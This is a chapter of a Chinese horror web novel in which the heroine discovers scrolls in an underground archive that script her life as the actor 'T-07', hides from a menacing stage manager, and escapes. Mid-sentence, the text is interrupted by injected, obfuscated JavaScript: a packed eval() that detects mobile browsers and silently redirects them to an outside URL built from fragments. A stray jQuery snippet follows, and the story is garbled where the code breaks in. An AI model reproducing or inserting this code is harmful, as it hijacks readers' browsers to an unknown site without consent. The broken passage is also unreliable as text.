走廊深处的第三扇门，如同一个沉默的邀请，又或是精心布置的陷阱。瓦斯灯的光晕在粗糙的石墙上跳动，将门的轮廓拉扯得忽明忽暗。夜鸮握着那枚冰冷的哭笑银币，指尖传来金属特有的、恒定的凉意，这触感成了她混乱感知中唯一稳定的锚点。
脑中的低语以前所未有的频率翻滚着，试图解构刚才发生的一切，却只制造出更多嘈杂的噪音：
“剧务长：秩序执行单元。威胁等级：极高。其存在强化‘剧本’层级结构真实性假设。” “‘编剧助理’：混乱变量。介入动机不明。提供身份标识‘T-07’…有效性存疑，可能为临时通行证或死亡标记。” “银币：物理实体。材质分析…受阻。符号意义：矛盾统一？暗示表象与本质的背离？” “指令：进入指定房间。风险评估：高。可能存在监控、陷阱或认知污染。”
“认知污染…”夜鸮无声地重复着这个词，目光落在沉重的木门上。门没有锁。她深吸一口气，推开。
门后并非房间，而是一个向下延伸的、更加狭窄陡峭的螺旋石阶，深不见底，只有下方隐约传来微弱的光线和一种…难以形容的、仿佛无数人低声絮语混合着纸张翻动的沙沙声。
没有退路。她只能向下。
石阶盘旋，仿佛通往地心。腿部的剧痛在每一次踏步时都尖锐地提醒着她自身的脆弱。周围的石壁逐渐变得潮湿，覆盖着滑腻的苔藓，空气中也开始弥漫起一股陈腐的、如同旧书报仓库和地下墓穴混合的气味。
那絮语声和沙沙声越来越清晰。
终于，石阶到了尽头。眼前豁然开朗，是一个巨大的、令人瞠目的地下空间。
这里像是一个被遗忘的、疯狂扩张的图书馆与档案室的结合体。无数顶天立地的巨大书架杂乱无章地排列着，书架上塞满了并非书籍的东西——一卷卷泛黄的、字迹潦草的羊皮纸；一堆堆用血红色丝带捆扎的、不断微微蠕动的文件袋；一本本封面用人皮或某种怪异皮革制成、书脊镶嵌着眼球状宝石的厚重大书；甚至还有大量不断自动打字、吐出纸张却又随即被无形之手撕碎重组的古老打字机…
空间没有明确的光源，光线来自书架本身、那些蠕动的文件、以及书本上镶嵌的“眼球”散发出的、幽暗的、五颜六色的磷光，将一切笼罩在一片光怪陆离的昏暗中。
而在书架之间狭窄的过道里、甚至趴在书架高处，是无数个身影。
它们穿着沾满墨渍和灰尘的黑色或深褐色长袍，身形佝偻，动作急促得近乎抽搐。它们有的在疯狂地抄写着什么，羽毛笔划过纸张发出刺耳的沙沙声；有的在杂乱无章地整理着那些不断蠕动的文件袋，试图将它们塞进早已爆满的书架缝隙；有的则对着那些自动打字机喃喃自语，仿佛在口述着内容；更多的，则是单纯地抱着脑袋，在过道里来回快速踱步，发出意义不明的、焦虑的低声絮语，构成那背景噪音的主体。
它们对夜鸮的到来毫无反应，完全沉浸在自己疯狂而忙碌的世界里。
这里就是…“后台”的文书部门？那些“剧本”就是在这里产生和管理的？
夜鸮小心翼翼地走入这片疯狂的文献之海。脚下的地面铺满了厚厚的、被踩实的废纸，软绵绵的，几乎听不到脚步声。
她按照那个“编剧助理”的指示，寻找着“基础的剧本摘要”和医疗用品。她避开那些焦躁踱步的文书员，目光扫过一个个书架上的标签，那些标签上的文字扭曲而难以辨认，似乎是多种语言和符号的混合体。
“环境分析：信息处理中心。个体处于高度焦虑与过载状态。工作内容：疑似信息编纂、分类、归档。” “检索目标：‘剧本摘要’…关键词模糊。尝试定位医疗物品存放点…概率更高。”
低语声试图提供帮助，但在这里，连它似乎也变得有些无所适从。
终于，在一个相对偏僻的角落，她发现了一个较小的、堆满了各种破损卷轴和零散纸张的书架，标签上有一个模糊的、像是被涂改过的“T”字标记。书架下方，放着一个打开的、里面杂乱无章地塞着绷带、药水瓶（标签模糊）、甚至还有几件灰白色亚麻袍子的木箱。
这就是那个眼罩男说的东西？
夜鸮警惕地观察四周，确认没有“人”注意她，然后迅速蹲下，开始翻找。
药水瓶里的液体颜色可疑，气味刺鼻。她不敢轻易使用。绷带相对正常。她快速给自己腿上的伤口进行了简单的清理和包扎，剧烈的疼痛让她几乎虚脱。最后，她拿起一件灰白袍子套在外面，略微遮掩一下身上残破显眼的作战服。
然后，她将目光投向书架上那些标注着“T”区的卷轴和纸张。她随手拿起最近的一卷泛黄的羊皮纸展开。
上面的字迹是用暗红色的、已经干涸的墨水书写的，内容支离破碎，如同梦呓：
· “…场景：腐朽回廊。角色：迷失探求者（T-01至T-15）。事件：遭遇‘巡夜护卫’（标准型号）。预期结局：70%被清除，20%逃脱触发后续事件，10%变异纳入‘素材库’…”
· “…备注：T-07号（原编号CN-114514）已由‘编剧助理’标记，暂移出本轮剧本。状态：观察中。潜在指向：‘沉眠之地’或‘废案利用’…”
· “…关联条目：守门人（序列权限）。行为：常规巡查。动作：抹除异常变量（参见事件Dust-114514）。备注：符合预期…”
· “…‘导演’批注：增加‘血髓’变量互动性。允许‘剧务长’进行压力测试…”
夜鸮的手微微颤抖。这上面记录的是…“剧本”？包括她的编号（T-07），她之前的经历（CN-114514，守门人抹杀），甚至那个“编剧助理”的干预？!
这怎么可能？！难道她所经历的一切，真的都是被某个高高在上的“导演”和“编剧”书写好的戏码？连守门人的抹杀，都是“符合预期”的？！
巨大的荒谬感和恐惧感攫住了她！
她疯狂地翻找其他卷轴和纸张。
有的记录着其他“T”编号角色的“剧情”，详细得令人发指，包括他们的心理活动、可能的对话选项、以及多种“预期结局”。有的则是某种技术文档，描述如何利用锈月能量、尸体、机械零件制造各种“演员”和“道具”。还有的像是观察日志，记录着某些“变量”的意外行为及其对“剧本”造成的影响评估。甚至有一张潦草的草图，画着一个巨大的、由无数尸体和机械构成的、如同舞台般的结构，旁边标注着“最终幕？待定”。
信息量巨大且混乱，真假难辨。但所有这些碎片都指向一个令人绝望的可能性——这个锈月殡仪馆， indeed是一个巨大的剧场，而她，以及其他所有存在，都是舞台上的演员，按照某个未知目的、被书写好的剧本在行动！
“信息验证：羊皮卷内容与已知经历高度吻合。‘剧本’假说成立概率急剧上升。” “推论：自身行为可能并非自由意志，而是预设程序或概率选择。” “威胁：‘导演’、‘编剧’为高层级控制者。‘剧务长’为执行者。” “目标需重新定义：从‘逃离’转变为‘理解剧本规则’或‘破坏剧本’。”
连脑中的低语，都开始接受这个可怕的设定！
“不…不可能…”夜鸮低声否定，却感到一阵彻骨的冰冷。如果连她的反抗、她的恐惧、她此刻的思考，都是剧本的一部分呢？
那个“编剧助理”给她看这个，就是为了让她陷入这种绝望的认知吗？
就在这时，一阵不同于周围焦虑絮语的、清晰而冰冷的脚步声，从书架的另一端传来。
咚…咚…
是那个剧务长？！他怎么会来这里？！
夜鸮的心脏猛地收缩！她立刻将羊皮卷塞回原处，拉紧身上的灰白袍子，低下头，假装成那些焦躁文书员的样子，抱着一叠废纸，混入一个正在来回踱步的文书员身后，模仿着它那急促而毫无意义的步伐。
脚步声在不远处停下。她能感觉到那冰冷的、审视的视线扫过这片区域。
一个文书员似乎因为过于焦虑，撞倒了一摞堆叠的文件，纸张散落一地。它发出更加急促和恐慌的呜咽声，手忙脚乱地试图收拾。
剧务长的手杖顿地声响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383007|184138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起。
咚。
那文书员如同被定格，僵在原地，瑟瑟发抖。
“噪音。无序。降低效率。”剧务长冰冷的声音响起，没有任何情绪，“你的角色，需要重新校准。”
他抬起带着白手套的手。那个撞倒文件的文书员身体开始剧烈颤抖，然后如同被无形的力量抽空了所有力气，软倒在地，袍子下仿佛只剩下空壳。它手中那些散落的文件，却自动漂浮起来，重新归类，飞回书架。
剧务长甚至没有多看那“被校准”的文书员一眼，目光继续扫视，似乎在寻找什么。
夜鸮的心跳到了嗓子眼，她极力控制着呼吸和步伐，让自己融入周围的环境噪音中。
剧务长的目光似乎在她这个方向停留了一瞬。
那一刻，时间仿佛凝固。
最终，那目光移开了。沉重的脚步声再次响起，缓缓远去，直到消失在其他书架之后。
夜鸮几乎虚脱，后背完全被冷汗湿透。
她不敢停留，立刻朝着与脚步声相反的方向快速移动。她必须离开这个可怕的地方！
她漫无目的地在巨大的书架迷宫中穿行，脑中一片混乱。剧本…角色…导演…这一切像沉重的枷锁，套在了她的认知上。
不知走了多久，她在一个堆满废弃稿纸的角落，发现了一个小小的、不起眼的通风口栅栏，类似她之前爬过的那种。栅栏后面，是黑暗的通道。
没有犹豫，她用力撬开栅栏，钻了进去。
通道狭窄，向上延伸。她拼命地爬，仿佛要逃离那个令人窒息的、充斥着虚假信息的巢穴。
终于，她推开了通道另一端的出口栅栏，滚落出去。
外面是一个狭窄的、堆满清洁工具的杂物间。相对正常。
她瘫坐在地上，大口喘气，试图将刚才看到的那些可怕信息从脑子里驱逐出去。
“信息已录入。无法删除。” 低语声冰冷地提醒她，“‘剧本’假说已作为高权重变量纳入决策模型。” “当前身份：T-07（临时演员）。当前目标：存活。潜在子目标：探寻剧本本质，或寻找方法跳出剧本框架。” “警告：任何行动都可能符合或违背剧本预期。无法判断何种选择更能提高生存概率。”
夜鸮感到一阵深深的无力感和荒谬感。她甚至连该做什么都不知道了。
她靠在墙上，目光落在杂物间角落一面布满灰尘的破镜子上。
镜子里，映出一个穿着不合身灰白袍子、脸色苍白、眼神空洞、腿部包扎处渗着血丝的狼狈身影。
那就是她。T-07。一个临时演员。
她看着镜中的自己，忽然产生了一种极度的陌生感。
这个人，是谁？她的想法，真的是她自己的吗？她的下一个动作，是自由，还是早已被写好的剧情？
“对自我认知产生怀疑。符合遭遇认知冲击后的应激反应。” 低语声分析道，“建议：暂时接受‘演员’身份，利用其提供的有限保护，收集更多信息。”
接受？如何接受？
夜鸮缓缓抬起手，看着自己沾满污渍和血痕的手指。
然后，她对着镜子，极其缓慢地、尝试性地、扭曲嘴角，露出了一个僵硬无比的、比哭还难看的…“笑容”。
镜中的影像，也回以同样怪异扭曲的笑容。
仿佛有一个无形的提线者，正在牵动她的嘴角。
她猛地收住笑容，一拳砸在镜子上！
哗啦！
镜子碎裂，影像支离破碎。
她喘着粗气，看着碎裂镜片中无数个破碎而扭曲的自己。
哪一个才是真的？或者…全都是假的？
杂物间外，隐约传来脚步声和说话声，似乎有人正在靠近。
夜鸮猛地惊醒，挣扎着站起身。
无论是不是剧本，无论是不是演员，她都必须动起来。
她推开杂物间的门，闪身融入外面昏暗的走廊。
前方等待她的，是未知的剧情。
而她，带着脑中的疯狂低语和一颗充满怀疑的种子，走上了舞台。